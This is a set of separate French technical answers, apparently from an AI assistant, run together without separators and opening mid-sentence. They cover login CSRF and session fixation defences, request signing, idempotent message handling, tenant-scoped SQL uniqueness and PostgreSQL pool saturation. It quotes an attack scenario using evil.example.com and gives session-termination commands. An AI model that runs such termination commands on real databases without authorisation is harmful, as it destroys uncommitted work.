mesures de « sans risque ». Restent ouverts : 1. **Je n'ai pas votre code.** Tout ce qui précède est une spécification, pas un audit. Je ne peux pas affirmer que votre application ne présente pas d'autres points d'injection dans `Location`, ni que `redirect_uri` de votre chaîne OAuth est correctement contraint. À vérifier par lecture du code et par les tests ci-dessus. 2. **Le code fourni n'a pas été exécuté ici**, pour la raison technique indiquée. Un `status=written` ou une absence d'erreur ne prouveraient d'ailleurs rien : seule une suite de tests passant avec assertions constitue une preuve, et encore, une preuve sur un nombre **fini** de cas. Onze tests réussis n'établissent pas la sûreté universelle de la fonction ; la garantie forte vient de l'invariant structurel « toute sortie est soit une constante interne, soit une URL reconstruite depuis des composants validés », qu'il faut maintenir à chaque modification. 3. **Divergences de parseurs.** `urlsplit` et le parseur d'URL du navigateur, du proxy ou du WAF ne s'accordent pas toujours sur les cas limites. Validez avec le parseur qui décide réellement, et ne réémettez jamais la chaîne brute. 4. **Redirections en chaîne.** Une cible interne autorisée qui redirige elle-même vers l'extérieur reconstitue la faille. Auditez toutes les pages atteignables par `return_to`. 5. **Ouverture de la liste blanche.** Chaque hôte ajouté transfère la confiance à ce domaine et à ses sous-domaines compromis éventuels. Gardez l'ensemble minimal et revu. 6. **Journalisation.** Ne journalisez jamais l'URL complète si elle peut contenir un jeton, même sous forme hachée. Tronquez et masquez. 7. **Mise en production.** Toute modification du flux de connexion doit être déployable et réversible : conservez le comportement précédent derrière un indicateur de configuration, surveillez le taux de replis déclenchés après déploiement, un pic pouvant signaler un lien légitime cassé plutôt qu'une attaque.
## Signalement préalable sur la prémisse L'énoncé contient une incohérence à signaler. Si la victime soumet **ses propres** identifiants sur `/login`, elle se retrouve dans **son propre** compte, pas dans celui de l'attaquant. Le scénario où « la victime agit dans le compte de l'attaquant » correspond à l'un des deux mécanismes suivants : - l'attaquant force le navigateur de la victime à soumettre **les identifiants de l'attaquant** sur `/login` (c'est le cas documenté) ; - l'attaquant **fixe** dans le navigateur de la victime un identifiant de session déjà authentifié comme lui (variante de session fixation, avec un compte leurre du type `A1ice`). Je réponds donc sur ces deux mécanismes, qui produisent bien l'effet décrit. --- ## 1. Nom de l'attaque **Login CSRF** (CSRF de connexion), variante du Cross-Site Request Forgery visant l'endpoint d'authentification. > « An attacker may forge a request to log the victim into a target website using the attacker's credentials; this is known as **login CSRF**. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with their legitimate credentials and view private information like activity history that has been saved in the account. This attack has been demonstrated against Google and Yahoo. » (article Wikipédia *Cross-site request forgery*, section « Forging login requests ») Le second mécanisme porte le nom de **session fixation** : « Mallory may create a user A1ice on www.example.com and login that user to capture a current, valid session identifier. Mallory then entraps Alice with a URL from evil.example.com which fixates that session cookie in Alice's browser […] Mallory is thus able to ghost the session from their original login, scraping data and executing operations as 'A1ice' » (article Wikipédia *Session fixation*, section « Attacks using cross-subdomain cookie »). Les deux appartiennent à la classe du **confused deputy attack** : « Cross-site request forgery is an example of a confused deputy attack against a web browser » (Wikipédia, *Cross-site request forgery*). --- ## 2. Protection de formulaire Le formulaire `/login` doit être protégé **comme tout formulaire à effet de bord**, ce que beaucoup d'implémentations omettent parce que l'utilisateur n'est pas encore authentifié. | Mesure | Contenu | Source | |---|---|---| | Jeton anti-CSRF caché | Champ de formulaire caché contenant un jeton aléatoire lié à la session (de préférence aussi à l'action), vérifié côté serveur | « Include a hidden form field with a random token bound to the user's session (and preferably the action to be performed), and check this token in the response » (Wikibooks, *Web Application Security Guide/CSRF*) | | Imprévisibilité | Aléa cryptographiquement sûr, jeton non devinable et non récupérable par l'attaquant, jamais exposé dans un fichier chargeable via `<script>` | « Make sure the token is non-predictable and cannot be obtained by the attacker; do not include it in files the attacker could load into his site using `<script>` tags » (même source) | | Méthode HTTP | `POST` obligatoire, jamais `GET` pour une opération changeant l'état | « the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval », cité depuis la RFC 2616 dans l'article Wikipédia *CSRF* | | Referer | Utilisable seulement en **mesure additionnelle**, jamais comme protection unique | « Referer checks are not secure, but can be used as an additional measure » (Wikibooks) ; « Referer checks are unreliable, as some user agents do not send the header and some personal firewalls filter or falsify it » (même source) | Point technique important : le jeton de login doit être porté par une **pré-session** (session anonyme créée avant authentification), sinon il n'y a aucun contexte auquel le lier. La barrière de sécurité qui rend le jeton efficace est la politique de même origine : « The same-origin-policy of web browsers prevents the attacking web site to read the content (and thus the token) of the targeted site » (Wikibooks, *Web Application Security Guide/CSRF*). Mesures complémentaires modernes (cookies `SameSite`, validation des en-têtes `Origin` / `Sec-Fetch-Site`) : je les recommande au titre des bonnes pratiques d'ingénierie, mais **je ne dispose pas ici d'une source hors ligne les documentant**, je les présente donc comme recommandation professionnelle et non comme fait sourcé. --- ## 3. Rotation requise Deux rotations distinctes, à ne pas confondre. **a) Rotation de l'identifiant de session au moment de l'authentification (obligatoire, c'est le cœur du correctif)** > « This attack can be largely avoided by **changing, regenerating the session ID when users log in**. […] At this point, their session id will change, and the attacker will not be able to do anything "important" with the anonymous session ID. […] This technique is also useful against cross-site request forgery attacks. » (Wikipédia, *Session fixation*, section « Best solution: Identity confirmation ») Procédure de régénération, telle que décrite dans la source : 1. lire l'ancien identifiant `OLD_SID` de la requête ; 2. si `OLD_SID` est nul, vide, ou sans session correspondante, créer une nouvelle session ; 3. générer `NEW_SID` avec un **générateur de nombres aléatoires sûr** ; 4. rattacher la session à `NEW_SID` et **invalider** `OLD_SID` ; 5. transmettre le nouveau `NEW_SID` au client. (Wikipédia, *Session fixation*, section « Regenerate SID on each request ») **b) Rotation du jeton anti-CSRF après le changement de contexte d'authentification** Le jeton étant lié à la session, l'invalidation de l'ancienne session doit invalider l'ancien jeton, sinon la liaison jeton/session est rompue. Ce point découle logiquement de l'exigence « a random token **bound to the user's session** » (Wikibooks) combinée à la régénération du SID ; je le présente comme **conséquence déductive** des deux sources, non comme citation littérale. **c) Mesures de durcissement associées**, documentées : - ne jamais accepter un identifiant de session issu de `GET` ou `POST` : « Do not accept session identifiers from GET/POST variables » ; « Session identifiers in GET and POST were deprecated in PHP 8.4 and will be removed in PHP 9.0 » (Wikipédia, *Session fixation*) ; - n'accepter que des SID générés par le serveur, en sachant que **cela ne suffit pas** : « A misconception is that if a server only accepts server-generated session identifiers, it is safe from fixation. **This is false.** » (même article) ; - expiration des anciens SID, fonction de déconnexion, cookie de session en `HttpOnly` / `Secure` sur HTTPS. --- ## 4. Résultat attendu | Étape | État attendu après correctif | |---|---| | Requête `POST /login` forgée depuis l'origine attaquante | **Rejetée** : jeton anti-CSRF absent, invalide ou non lié à la pré-session de la victime ; la politique de même origine empêche l'attaquant de lire le jeton légitime (Wikibooks, *WASG/CSRF*) | | Session imposée par un lien contenant un SID connu de l'attaquant | **Neutralisée** : « Alice will now use SID=3134998145AB331F that is unknown to Mallory, and SID=I_KNOW_THE_SID is invalid. Mallory is thus unsuccessful in the session fixation attempt. » (Wikipédia, *Session fixation*) | | Contexte de la victime | La victime ne peut plus être basculée silencieusement dans un compte contrôlé par l'attaquant ; toute connexion résulte d'une soumission intentionnelle depuis l'origine légitime | | Traçabilité | Le SID pré-authentification est définitivement invalide et non rejouable | **Critères de vérification à exécuter** (à faire réellement, je ne les ai pas exécutés) : 1. rejouer un `POST /login` cross-origin sans jeton, puis avec un jeton d'une autre session : attendu `403` dans les deux cas ; 2. comparer la valeur du cookie de session avant et après authentification : elle **doit** différer ; 3. rejouer l'ancien SID après connexion : attendu, session invalide ; 4. tenter d'injecter un SID via `?SID=...` : attendu, valeur ignorée. --- ## Risques résiduels et limites Aucune de ces mesures ne rend le système « sûr » de façon absolue. Points de vigilance documentés : - **La régénération n'est pas toujours possible** : « Unfortunately session regeneration is not always possible. Problems are known to occur when third-party software such as ActiveX or Java applets are used, and when browser plugins communicate with the server. Third-party software could cause logouts, or the session could be split into two separate sessions. » (Wikipédia, *Session fixation*) - **Le jeton reste contournable par XSS** : une faille XSS sur le domaine permet de lire le jeton et de construire une CSRF dynamique. « CSRF can also be dynamically constructed as part of a payload for a cross-site scripting attack, as demonstrated by the Samy worm » ; et « CSRF tokens could also be sent to a client by an attacker due to session fixation or other vulnerabilities, or guessed via a brute-force attack » (Wikipédia, *CSRF*). Corollaire : session fixation et CSRF se renforcent mutuellement, il faut corriger **les deux**. - **Cookies de sous-domaine** : un sous-domaine confié à un tiers peut poser un cookie `.example.com` affectant les autres sous-domaines (Wikipédia, *Session fixation*). Ne déléguez pas de sous-domaine sans isoler le périmètre du cookie. - **Le contrôle par adresse IP est fragile** : proposé dans la source, mais dégradé par les proxys et le NAT ; à traiter comme signal d'alerte, pas comme autorisation. - **Traçabilité limitée** : « Because it is carried out from the user's IP address, some website logs might not have evidence of CSRF » (Wikipédia, *CSRF*). L'absence de trace dans les journaux ne prouve donc **pas** l'absence d'attaque. - Un jeton CSRF protège **l'intégrité** de l'action, il n'apporte ni confidentialité ni authenticité forte ; ces propriétés relèvent de TLS et de l'authentification.
- **Risque :** confusion entre la requête signée et la requête exécutée (*path confusion*). Une ACL ou une vérification portant sur `/a/../b` peut être contournée lorsque le backend traite `/b`; si la vérification intervient après normalisation, les signatures légitimes peuvent aussi être rejetées. - **Représentation à signer :** une structure canonique, non ambiguë et versionnée contenant au minimum `method`, le **chemin canonique**, `timestamp` et `SHA-256` des **octets bruts** du corps. Les champs doivent être encodés sans ambiguïté, par exemple avec préfixes de longueur ou une sérialisation structurée. - **Moment de canonicalisation :** appliquer exactement le même profil **avant la signature côté client** et **avant la vérification côté serveur**. Après vérification, le chemin utilisé pour l’autorisation et le routage doit rester exactement celui qui a été vérifié. Idéalement, rejeter les chemins non canoniques plutôt que les réécrire après signature. - **Comparaison :** décoder strictement la signature ou le MAC, vérifier sa longueur, puis utiliser une primitive de vérification sûre; pour un HMAC, comparer les octets en **temps constant**. Vérifier également le timestamp dans une fenêtre bornée et prévoir une protection contre le rejeu.
**Cadre.** Le second passage est la redélivrance du même `E42` (l'ACK perdu n'implique pas la non-consommation : le broker ne sait pas distinguer « message non reçu » de « ACK non revenu »). La table inbox à `event_id` unique est le point de sérialisation qui rend le traitement idempotent au sens algébrique : appliquer deux fois équivaut à appliquer une fois (notion d'idempotence, article Idempotence, Wikipédia FR, encyclopédie locale LANXAS). Ce qui suit est la déduction logique du dispositif décrit, non un fait tiré d'une source documentaire. ## Les quatre résultats | # | Résultat | Mécanisme | |---|---|---| | 1 | **Échec de l'`INSERT` sur violation d'unicité** de `event_id = E42` | La contrainte `UNIQUE` (ou clé primaire) rejette la seconde ligne ; c'est l'unique détecteur fiable du doublon, pas un `SELECT` préalable | | 2 | **Aucun effet métier rejoué** : l'état applicatif reste identique à celui du premier passage | Le handler est court-circuité, sous condition stricte que l'insertion inbox et les écritures métier soient dans **la même transaction** locale | | 3 | **ACK positif renvoyé au broker** malgré l'échec technique de l'insertion | Le doublon est un succès fonctionnel : ne pas acquitter provoquerait une boucle de redélivrance infinie, puis un passage en file de rebut (DLQ) injustifié | | 4 | **Compteur/log « duplicate détecté »**, classé comme événement normal et non comme erreur | Sinon le taux d'erreur observé devient un faux positif d'alerte ; la métrique reste utile pour mesurer la santé du relais outbox | ## Ce qu'il faut vérifier pour que ces quatre résultats tiennent - **Transactionnalité** : si l'`INSERT` inbox est validé (`COMMIT`) séparément des effets métier, un crash entre les deux produit un événement marqué traité mais **jamais exécuté** : perte silencieuse. La dédoublonnage n'est correct qu'en une seule transaction. - **Effets externes non transactionnels** : envoi d'e-mail, appel HTTP tiers, paiement. Ils ne sont pas couverts par le `ROLLBACK`. Si le premier passage a échoué **après** cet appel, l'inbox ne protège pas l'effet externe ; il faut une clé d'idempotence propagée au tiers. - **Concurrence** : si les deux copies arrivent en parallèle, la seconde transaction bloque sur l'index unique puis échoue au `COMMIT` de la première. Comportement correct, mais le code doit intercepter l'erreur d'unicité au `COMMIT` autant qu'à l'`INSERT`. - **Code d'erreur** : il faut traiter spécifiquement la violation d'unicité (par exemple `23505` en PostgreSQL, sous réserve de vérification sur votre version) et non « toute exception SQL », sinon une panne réseau serait interprétée comme un doublon et l'événement perdu. - **Rétention** : la table inbox croît indéfiniment. Une purge par fenêtre temporelle est nécessaire, mais elle doit être plus longue que le TTL maximal de redélivrance du broker, sinon un très vieux doublon serait rejoué. ## Formulation exacte de la garantie obtenue Le transport reste **at-least-once** ; l'inbox ne le transforme pas en exactly-once au niveau du réseau, elle produit un **effet observable unique** (effectively-once) sur le périmètre couvert par la transaction locale. Hors de ce périmètre, aucune garantie n'est apportée par le dispositif décrit.
## 1. Colonnes de la contrainte
La contrainte à poser est une **contrainte d'unicité composite** portant sur deux colonnes :
| Colonne | Rôle | Type recommandé | Nullabilité |
|---|---|---|---|
| `tenant_id` | Discriminant de locataire | `uuid` ou `bigint` | `NOT NULL` |
| `email_normalise` | Email canonisé (minuscules, espaces supprimés) | `citext` ou `text` | `NOT NULL` |
$$\text{UNIQUE}(\texttt{tenant\_id},\ \texttt{email\_normalise})$$
Une clé d'unicité peut légitimement être constituée de plusieurs colonnes, et l'ordre des colonnes de la contrainte ne change pas la sémantique d'unicité, seulement l'utilisabilité de l'index associé (article Wikipédia EN « Unique key » : « Unique keys can consist of multiple columns »).
Point critique de rigueur : les deux colonnes doivent être `NOT NULL`. Selon la norme SQL, une contrainte `UNIQUE` **n'implique pas** `NOT NULL` et n'impose pas l'unicité en présence de valeurs nulles, ce qui permettrait plusieurs lignes portant des combinaisons identiques de valeurs nulles ; toutes les implémentations ne suivent pas ce point de façon identique (article Wikipédia EN « Unique key », section « Differences between primary key constraint and unique constraint »). Sans `NOT NULL`, votre garantie anti-doublon est donc trouée.
## 2. Portée de la contrainte
- **Portée logique** : par locataire (`tenant_id`), pas globale. Le couple `(tenant_id, email_normalise)` est unique ; la colonne `email_normalise` seule ne l'est pas.
- **Portée physique** : la table `utilisateur` d'un même schéma/base. Une contrainte `UNIQUE` est locale à la table, elle ne contraint jamais deux tables ni deux bases.
- **Portée temporelle** : la contrainte s'évalue sur l'ensemble des lignes présentes à un instant donné ; elle n'interdit pas qu'un email libéré par suppression soit réutilisé plus tard dans le même tenant.
- **Ce qu'elle ne fait pas** : elle assure l'**intégrité** (pas de doublon intra-tenant), pas l'**authenticité** de l'email (celle-ci exige une vérification par lien de confirmation), ni l'**isolation** des données entre tenants (celle-ci relève de l'autorisation côté serveur et, en PostgreSQL, éventuellement du RLS).
## 3. DDL
PostgreSQL (recommandé, avec `citext` pour l'insensibilité à la casse) :
```sql
CREATE EXTENSION IF NOT EXISTS citext;
CREATE TABLE utilisateur (
id bigserial PRIMARY KEY,
tenant_id uuid NOT NULL REFERENCES tenant(id),
email text NOT NULL, -- forme saisie, conservée pour affichage
email_normalise citext NOT NULL, -- forme canonique servant à l'unicité
cree_le timestamptz NOT NULL DEFAULT now(),
CONSTRAINT uq_utilisateur_tenant_email
UNIQUE (tenant_id, email_normalise),
CONSTRAINT ck_utilisateur_email_normalise
CHECK (email_normalise = lower(btrim(email)))
);
```
Variante sans `citext`, avec index unique fonctionnel :
```sql
CREATE UNIQUE INDEX uq_utilisateur_tenant_email
ON utilisateur (tenant_id, lower(btrim(email)));
```
MySQL 8 / MariaDB (collation `utf8mb4_0900_ai_ci` déjà insensible à la casse) :
```sql
CREATE TABLE utilisateur (
id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
tenant_id BINARY(16) NOT NULL,
email VARCHAR(320) NOT NULL,
email_normalise VARCHAR(320) NOT NULL,
UNIQUE KEY uq_utilisateur_tenant_email (tenant_id, email_normalise)
) ENGINE=InnoDB;
```
La syntaxe `ALTER TABLE ... ADD CONSTRAINT ... UNIQUE (col1, col2)` et la déclaration en ligne dans `CREATE TABLE` sont les deux formes standard de définition d'une clé unique (article Wikipédia EN « Unique key », section « Defining keys in SQL »).
## 4. Exemple autorisé
Même email, deux tenants distincts : le couple diffère, donc l'insertion passe.
```sql
INSERT INTO utilisateur (tenant_id, email, email_normalise) VALUES
('11111111-1111-1111-1111-111111111111', '[email protected]', '[email protected]'),
('22222222-2222-2222-2222-222222222222', '[email protected]', '[email protected]');
```
| tenant_id | email_normalise | Résultat |
|---|---|---|
| `1111...` | `[email protected]` | accepté |
| `2222...` | `[email protected]` | accepté, couple `(2222..., marie@…)` inédit |
## 5. Exemple refusé
Même email, même tenant, y compris avec une casse ou des espaces différents une fois la normalisation appliquée.
```sql
INSERT INTO utilisateur (tenant_id, email, email_normalise) VALUES
('11111111-1111-1111-1111-111111111111', ' [email protected] ', '[email protected]');
```
Violation de `uq_utilisateur_tenant_email`. En PostgreSQL, l'erreur remontée est de classe `23505` (`unique_violation`) ; en MySQL/InnoDB, `ER_DUP_ENTRY` (1062). Je ne peux pas vous garantir le libellé exact du message dans votre version précise sans l'exécuter sur votre instance.
Contre-exemple à ne pas confondre : un `UNIQUE (email)` global refuserait l'exemple autorisé du point 4, et un `UNIQUE (tenant_id)` interdirait plus d'un utilisateur par tenant. Seule la contrainte composite exprime exactement la règle demandée.
## 6. Pièges opérationnels à traiter
1. **Normalisation obligatoire côté base.** Si la canonisation n'existe que dans le code applicatif, `[email protected]` et `[email protected]` créent deux lignes dans le même tenant. Le `CHECK` ou l'index fonctionnel rend la règle non contournable, y compris par un script d'import.
2. **Suppression logique.** Avec une colonne `supprime_le`, la contrainte simple empêche de recréer un compte au même email après désactivation. Solution PostgreSQL : index unique partiel.
```sql
CREATE UNIQUE INDEX uq_utilisateur_tenant_email_actif
ON utilisateur (tenant_id, email_normalise)
WHERE supprime_le IS NULL;
```
Ce mécanisme d'index partiel est propre à PostgreSQL, il n'a pas d'équivalent direct en MySQL 8 ; l'alternative usuelle y est une colonne technique intégrée à la clé unique.
3. **Course à l'insertion.** Ne remplacez jamais la contrainte par un `SELECT` de vérification suivi d'un `INSERT` : deux transactions concurrentes passeraient le test simultanément. Conservez la contrainte comme arbitre final et interceptez l'erreur `23505` / `1062` pour produire un message métier. Motif idempotent :
```sql
INSERT INTO utilisateur (tenant_id, email, email_normalise)
VALUES ($1, $2, lower(btrim($2)))
ON CONFLICT ON CONSTRAINT uq_utilisateur_tenant_email DO NOTHING
RETURNING id;
```
Requête paramétrée, jamais de concaténation de chaînes.
4. **Migration d'une base existante.** Les doublons déjà présents feront échouer la création de la contrainte. Détectez-les d'abord, sans rien supprimer :
```sql
SELECT tenant_id, lower(btrim(email)) AS email_norm, count(*), array_agg(id ORDER BY id)
FROM utilisateur
GROUP BY 1, 2
HAVING count(*) > 1;
```
Fusionnez ensuite manuellement, avec point de restauration préalable et accord explicite de l'opérateur, puis créez l'index en `CREATE UNIQUE INDEX CONCURRENTLY` avant de l'attacher via `ALTER TABLE ... ADD CONSTRAINT ... USING INDEX`. Toute suppression massive de lignes en doublon est destructive et ne doit pas être lancée à l'aveugle.
5. **Fuite d'information inter-tenants.** Un message d'erreur du type « cet email existe déjà » doit être renvoyé uniquement dans le contexte du tenant courant, sinon vous divulguez l'existence d'un compte chez un autre locataire.
6. **Recherche de connexion.** L'authentification doit toujours filtrer sur `(tenant_id, email_normalise)`. Une requête sur le seul email peut désormais retourner plusieurs lignes ; un code écrit à l'époque d'un email globalement unique se connecterait au mauvais tenant. Vérifiez ce point dans tout le code existant.
## 7. Tests à écrire
| Cas | Attendu |
|---|---|
| Même email, tenants A et B | 2 lignes insérées |
| Même email exact, même tenant | erreur d'unicité |
| `[email protected]` après `[email protected]`, même tenant | erreur d'unicité |
| Email avec espaces de bord, même tenant | erreur d'unicité |
| Insertion avec `email_normalise` non canonique | violation du `CHECK` |
| Deux insertions concurrentes du même couple | une seule réussit |
| Recréation après suppression logique | acceptée si index partiel, refusée sinon |
Chaque test doit porter une assertion sur le code d'erreur SQL, pas seulement sur l'absence d'exception.
## 8. Limites de cette réponse
Je n'ai pas accès à votre schéma, à votre SGBD ni à ses versions : les DDL ci-dessus sont écrits pour PostgreSQL et MySQL 8 selon leur syntaxe standard et n'ont pas été exécutés sur votre instance. Le comportement précis des valeurs nulles et des collations dépend de votre moteur et de votre configuration, à vérifier par les tests du point 7 avant mise en production. Les affirmations générales sur la clé unique composite, sur l'absence de `NOT NULL` implicite et sur la sémantique des nulls proviennent de l'article Wikipédia EN « Unique key » ; les codes d'erreur cités relèvent de ma connaissance des moteurs et doivent être confirmés sur votre version.## 1. Connexions disponibles
$$20 - 18 - 2 = 0$$
**0 connexion disponible.** Le pool est saturé : toute nouvelle demande part en file d'attente et échouera au bout du délai d'acquisition (timeout côté pool), ce qui se manifeste applicativement par des erreurs de type « pool exhausted / connection timeout ».
Nuance importante : **capacité utile réelle = 18**, pas 20. Les 2 connexions `idle in transaction` sont comptées comme occupées par le pool alors qu'elles n'exécutent aucun travail : ce sont des connexions gaspillées, soit 10 % du pool perdu.
## 2. Défaut des deux dernières connexions
`idle in transaction` signifie : un `BEGIN` a été émis, au moins une commande a été exécutée, puis **aucun `COMMIT` ni `ROLLBACK`** n'est venu. La session dort en tenant une transaction ouverte. Les conséquences, par ordre de gravité :
| Effet | Mécanisme |
|---|---|
| Connexion immobilisée | La session reste attribuée, non réutilisable par le pool |
| Verrous conservés | Tous les verrous acquis (lignes, `ROW EXCLUSIVE`, verrous DDL) tiennent jusqu'à la fin de la transaction |
| Blocage du nettoyage MVCC | Le snapshot de la transaction maintient l'horizon de visibilité (`xmin`) en arrière : `VACUUM` ne peut pas recycler les versions de lignes mortes plus récentes que ce snapshot |
| Bloat et dégradation | Tables et index gonflent, les parcours deviennent plus lents, ce qui **aggrave** les 18 requêtes lentes : boucle de rétroaction |
| Risque long terme | Si la situation dure, accumulation de tuples morts et pression sur le wraparound des identifiants de transaction |
PostgreSQL gère la concurrence par MVCC, en attribuant à chaque transaction une vue cohérente et isolée de la base à un instant donné, et cette implémentation peut poser des problèmes de performance sous forte charge d'écriture (source : article Wikipédia « PostgreSQL », sections *Multiversion concurrency control* et *Principales caractéristiques*, consulté via l'encyclopédie locale).
Distinction à ne pas confondre : un état `idle in transaction (aborted)` ne tient plus de snapshot utile pour la visibilité mais conserve la connexion et les verrous ; un état `idle` simple est bénin. Le diagnostic est donc à confirmer sur l'état exact.
Point d'honnêteté : le fait que ce soit **la cause racine** ou un **symptôme** n'est pas établi par les seuls chiffres fournis. Les 18 requêtes lentes peuvent être la cause première (contention, plan dégradé, verrou tenu par une des 2 transactions ouvertes) ou la conséquence du bloat. Les requêtes ci-dessous servent précisément à trancher.
## 3. Action immédiate
Ordre imposé : **observer, puis cibler, puis terminer**. Ne jamais tuer en masse.
### Étape 1, photographier l'état (lecture seule, sans risque de perte)
```sql
SELECT pid,
state,
wait_event_type,
wait_event,
now() - xact_start AS xact_age,
now() - state_change AS idle_age,
backend_xmin,
client_addr,
application_name,
left(query, 120) AS derniere_requete
FROM pg_stat_activity
WHERE datname = current_database()
AND pid <> pg_backend_pid()
ORDER BY xact_start NULLS LAST;
```
### Étape 2, vérifier si une transaction idle bloque quelqu'un
```sql
SELECT blocked.pid AS pid_bloque,
blocked.query AS requete_bloquee,
blocking.pid AS pid_bloquant,
blocking.state AS etat_bloquant,
now() - blocking.state_change AS idle_depuis
FROM pg_stat_activity blocked
JOIN LATERAL unnest(pg_blocking_pids(blocked.pid)) AS b(pid) ON true
JOIN pg_stat_activity blocking ON blocking.pid = b.pid
WHERE cardinality(pg_blocking_pids(blocked.pid)) > 0;
```
### Étape 3, mesurer le coût MVCC réel
```sql
SELECT pid, backend_xmin,
age(backend_xmin) AS transactions_retenues
FROM pg_stat_activity
WHERE backend_xmin IS NOT NULL
ORDER BY age(backend_xmin) DESC;
```
### Étape 4, libérer, de façon ciblée et graduée
Priorité aux 2 sessions `idle in transaction`, car ce sont les seules dont l'interruption **n'annule aucun travail utile en cours d'exécution**. Attention : elle annule tout de même les écritures déjà faites dans la transaction ouverte (rollback), ce qui peut avoir un effet métier si le client comptait committer. Ce n'est donc pas une opération neutre.
```sql
-- 4a. D'abord la version douce : annule la commande courante, la transaction reste ouverte.
-- Peu efficace sur une session idle, à tenter seulement si la session exécute quelque chose.
SELECT pg_cancel_backend(<pid>);
-- 4b. Terminaison ciblée, PID par PID, après lecture du query et du client_addr.
SELECT pg_terminate_backend(<pid>);
```
Garde-fous, non négociables avant l'étape 4b :
- Accord explicite de l'opérateur ou de l'astreinte responsable du service.
- Notez les PID, `client_addr`, `application_name` et `query` avant de terminer : c'est votre seule trace post mortem.
- Un seuil d'âge, par exemple `state_change` de plus de 5 minutes, plutôt qu'une terminaison à l'aveugle.
- **Ne pas** exécuter un `pg_terminate_backend` massif sur les 18 requêtes lentes tant qu'elles n'ont pas été qualifiées : parmi elles peuvent se trouver un batch légitime, une migration, une sauvegarde logique.
- Si le pool est en frontal d'un service critique, un redémarrage applicatif est parfois moins risqué qu'une chasse aux PID, mais il coupe aussi les 18 requêtes : c'est un arbitrage à assumer explicitement.
### Étape 5, sur les 18 requêtes lentes
Qualifier avant d'agir : identifier la requête normalisée dominante et son plan.
```sql
-- Nécessite l'extension pg_stat_statements activée au préalable.
SELECT queryid, calls, mean_exec_time, total_exec_time, rows, left(query,150)
FROM pg_stat_statements
ORDER BY total_exec_time DESC
LIMIT 10;
```
Si une seule famille de requêtes domine, la correction est un index, une réécriture ou un `LIMIT` sur pagination, pas un agrandissement du pool. Augmenter le pool sur un problème de requêtes lentes déplace la saturation vers le CPU et la mémoire du serveur, où elle est bien plus destructrice.
## 4. Prévention
### 4.1 Garde-fous serveur, l'essentiel
Les paramètres suivants relèvent de ma connaissance de la documentation PostgreSQL et **n'ont pas été vérifiés par mes outils** dans cette session ; contrôlez les noms exacts et la disponibilité selon votre version majeure avant application.
```sql
-- Tue les sessions qui laissent une transaction ouverte sans rien faire.
-- C'est LE remède structurel au défaut des 2 connexions.
ALTER SYSTEM SET idle_in_transaction_session_timeout = '60s';
-- Plafonne la durée d'une commande unique.
ALTER SYSTEM SET statement_timeout = '30s';
-- Évite qu'une session attende indéfiniment un verrou.
ALTER SYSTEM SET lock_timeout = '5s';
-- Récupère les connexions totalement oisives (hors transaction). À doser avec un pooler.
ALTER SYSTEM SET idle_session_timeout = '0'; -- 0 = désactivé ; activez seulement en connaissance de cause
SELECT pg_reload_conf();
```
Recommandation de granularité : appliquez plutôt ces timeouts **par rôle**, pour ne pas décapiter vos jobs longs légitimes.
```sql
ALTER ROLE app_web SET statement_timeout = '10s';
ALTER ROLE app_web SET idle_in_transaction_session_timeout = '30s';
ALTER ROLE app_batch SET statement_timeout = '30min';
```
### 4.2 Discipline applicative
- **Transaction la plus courte possible.** Ouvrir la transaction juste avant les écritures, committer immédiatement après.
- **Interdiction absolue** d'un appel réseau externe (API tierce, paiement, envoi d'email, S3) à l'intérieur d'une transaction ouverte : c'est la cause n° 1 des `idle in transaction`. Le pattern correct est : préparer hors transaction, appeler l'externe, puis transaction courte pour persister.
- Autocommit par défaut pour les lectures, transaction explicite seulement quand l'atomicité est requise.
- `try / finally` ou context manager garantissant le `ROLLBACK` sur toute exception, y compris les timeouts et les annulations de tâche.
- Séparer les pools : un pool web à latence courte, un pool batch distinct. Un batch ne doit jamais pouvoir affamer le trafic utilisateur.
### 4.3 Couche pooler
Placez un pooler de connexions (PgBouncer par exemple) en mode `transaction`, avec un `server_idle_timeout` et un `query_wait_timeout`. Effet : la connexion serveur n'est attribuée que pendant la transaction, ce qui rend structurellement impossible qu'un client oisif immobilise une connexion serveur.
Réserve technique : le mode `transaction` est incompatible avec les instructions préparées nommées côté serveur, les curseurs `WITH HOLD`, `LISTEN/NOTIFY`, les variables de session et les advisory locks de session. Vérifiez votre driver et votre ORM avant de basculer.
### 4.4 Dimensionnement
Ne montez pas le pool par réflexe. Un ordre de grandeur souvent cité comme point de départ est de rester dans les quelques dizaines de connexions actives par serveur, calibré sur le nombre de cœurs et les entrées/sorties ; c'est une **règle empirique, pas un fait mesuré sur votre système**. La bonne démarche est de mesurer le débit et la latence sous charge, palier par palier. Réservez toujours des connexions de secours via `superuser_reserved_connections` afin de pouvoir vous connecter pour diagnostiquer même à saturation.
### 4.5 Supervision et alertes
| Métrique | Seuil d'alerte suggéré | Intention |
|---|---|---|
| Nombre de sessions `idle in transaction` | > 1 pendant plus de 60 s | Détecter la fuite de transaction |
| `max(age(backend_xmin))` | horizon retenu anormalement long | Protéger le VACUUM |
| Connexions actives / taille du pool | > 80 % | Anticiper la saturation |
| Attente d'acquisition côté pool | > 100 ms au 95e centile | Mesurer la douleur réelle du client |
| Tuples morts par table (`pg_stat_user_tables.n_dead_tup`) | croissance monotone | Détecter le bloat |
| Requête la plus ancienne (`now() - query_start`) | > seuil métier | Détecter les requêtes fuyantes |
Les seuils ci-dessus sont des **propositions de départ**, à recalibrer sur votre trafic observé ; je ne dispose d'aucune donnée sur votre charge réelle.
### 4.6 Post mortem
Une fois le service rétabli, corrélez l'horodatage des sessions `idle in transaction` avec vos logs applicatifs et vos déploiements. Ces fuites viennent presque toujours d'un chemin de code précis, souvent récemment modifié. Activez `log_min_duration_statement` et `log_lock_waits` pour disposer de la preuve la prochaine fois.
## 5. Risques et limites de cette réponse
- Le calcul de disponibilité est arithmétiquement certain sous l'énoncé. Le reste est un diagnostic conditionnel : je n'ai accès ni à votre `pg_stat_activity`, ni à votre version majeure, ni à votre configuration, ni à vos logs.
- `pg_terminate_backend` provoque un rollback : perte du travail non committé de la transaction visée. Ce n'est pas une opération sans conséquence.
- Les timeouts agressifs peuvent interrompre des traitements longs légitimes. Déployez-les par rôle, en préproduction d'abord, avec un plan de retour arrière (`ALTER ROLE ... RESET <param>` ou `ALTER SYSTEM RESET <param>` suivi de `pg_reload_conf()`).
- `idle_session_timeout` mal réglé, combiné à un pooler, peut provoquer des ruptures de connexion perçues comme des erreurs applicatives.
